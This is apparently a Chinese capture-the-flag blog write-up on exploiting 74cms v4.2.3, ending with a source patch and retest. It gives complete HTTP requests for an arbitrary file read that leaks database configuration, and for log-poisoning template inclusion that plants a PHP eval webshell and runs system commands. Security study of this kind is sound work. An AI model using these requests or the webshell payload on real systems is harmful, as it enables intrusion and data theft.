0x00 前言
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
本文首发于涂寐’s Blogs:https://0xtlu.github.io/article/52122537.html
0x01 题目要求
1 | 题目URL:http://106.15.50.112:8019/ |
0x02 信息收集
- 站点浏览
Powered by 74cms v4.2.3
- 指纹识别
- 74cms 版本以及最早解题成功的出现,可以判断该题漏洞最迟在2019年10月2日前已经存在。
0x03 任意文件读取
- 漏洞须知
该漏洞(CNVD-2017-26183)为,74CMS 源码文件中某些函数( /var/www/html/Application/Home/Controller/MembersController.class.php
的 _save_avatar
方法)设计不严谨,导致前台任意文件读取漏洞的出现,使得服务器敏感文件泄露。
- 直接上 POC
注:
①该 POC 中可以通过 members_bind_info[temp_avatar]
控制读取的文件, members_uc_info[uid]
控制用户 ID , members_uc_info[username]
控制用户名
②每次发起请求,用户ID 和 用户名 必须不与已存在信息冲突。
1 | POST /index.php?m=&c=members&a=register HTTP/1.1 |
- 图片名获取
① 在 /var/www/html/Application/Home/Controller/MembersController.class.php
的 _save_avatar
方法中可以看到图片名称的构成为 $savePicName = md5($uid.time()).".jpg";
② uid 在 EXP 中已经构造,即为 666666
;
③ 可在上图中看到成功请求的时间 (格林尼治时间) ,Date: Sun, 20 Feb 2022 12:14:40 GMT
,即为北京时间(格林尼治时间 + 8 hour): 2022-02-20 20:14:40
,转换为时间戳: 1645359280
,得到 time()。
④ 两个参数进行拼接(6666661645359280
),并进行 MD5 编码: ae3e81e2a19315a52d2c78fb2bfe666f
。
⑤ 注:成功请求的时间若不一定正确,可以在此基础上为时间戳 ±10s;不行,则修改 用户id 和 用户名,避免重复造成的失败。
- 访问 http://106.15.50.112:8019/data/upload/avatar/2202/20/ae3e81e2a19315a52d2c78fb2bfe666f.jpg ,另存图片后修改为文本文件(txt),即可看到读取的内容(
/var/www/html/Application/Common/Conf/db.php
)
- 此处使用bp,那没有bp呢?使用在线POST
1 | URL |
- 读取 flag{6532638425abf9e9}
- 自写工具利用
利用工具:https://0xtlu.github.io/article/c48c7d63.html
0x04 远程命令执行
- 漏洞须知
①该漏洞(CNVD-2021-45280)为,74CMS源码中某些函数(/var/www/html/Application/Common/Controller/BaseController.class.php中的 assign_resume_tpl
方法存在PHP远程文件包含漏洞)存在不严谨过滤,导致可通过 构造恶意请求 + 文件包含漏洞,使得攻击者无需登录即可实现远程命令执行。
②74CMS < 6.0.48
③74CMS 不支持PHP 7.0
- 直接访问 http://106.15.50.112:8019/index.php?m=home&a=assign_resume_tpl ,成功制造报错则可在
/var/www/html/data/Runtime/Logs/Home/22_02_19.log
中看到当前日期下的报错日志
配合 hackar 插件访问 http://106.15.50.112:8019/index.php?m=home&a=assign_resume_tpl ,写入 post 数据:
variable=1&tpl=<?php fputs(fopen("myshell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: 106.15.50.112:8019
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: think_template=default; PHPSESSID=48286c655cac8771bdd6fdffc9e4762a; think_language=zh-CN
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
variable=1&tpl=<?php fputs(fopen("myshell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show h
="info" id="$_GET['id']"/>包含日志文件(
YY_MM_DD.log
),使得在根目录生成myshell.php
文件1
2
3
4
5
6
7
8
9
10
11
12
13
14POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1
Host: 106.15.50.112:8019
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: think_template=default; PHPSESSID=48286c655cac8771bdd6fdffc9e4762a; think_language=zh-CN
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
variable=1&tpl=data/Runtime/Logs/Home/22_02_19.log拿 flag{6532638425abf9e9}
1
2
3
4
5
6
7
8
9
10
11
12
13
14POST /myshell.php HTTP/1.1
Host: 106.15.50.112:8019
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: think_template=default; PHPSESSID=48286c655cac8771bdd6fdffc9e4762a; think_language=zh-CN
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
x=echo system('cat /this_is_flag');手写漏洞利用工具
利用工具:https://0xtlu.github.io/article/d95419bd.html
0x05 漏洞修复
/var/www/html/Application/Common/Controller/BaseController.class.php
第171 行添加1
2
3
4
5$view = new \Think\View;
$tpl_file = $view->parseTemplate($tpl);
if(!is_file($tpl_file)){
return false;
}/var/www/html/ThinkPHP/Library/Think/View.class.php
注释第 110 行,写入if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));
0x06 修复测试
/var/www/html/data/Runtime/Logs/Home/22_02_19.log
清除日志文件,重复 0x04。可以实现第 2 步,到第 3 步就无法实现报错了,故隔绝了远程文件读取漏洞的实现。
0x07 后记
最开始,看其他师傅的 CNVD-2017-26183 复现,懵,领悟不出来
中间,利用 CNVD-2017-26183 getshell,逛了下,发现确实有师傅利用任意文件拿 flag
最后,信息收集到了,并写下了这篇笔记
感谢,留下信号的师傅;感谢,留下 poc 的师傅,感谢,坚持的我
- 本文标题:安鸾CMS系列之74CMS
- 本文作者:涂寐
- 创建时间:2022-02-22 21:43:26
- 本文链接:article/1e5c0746.html
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!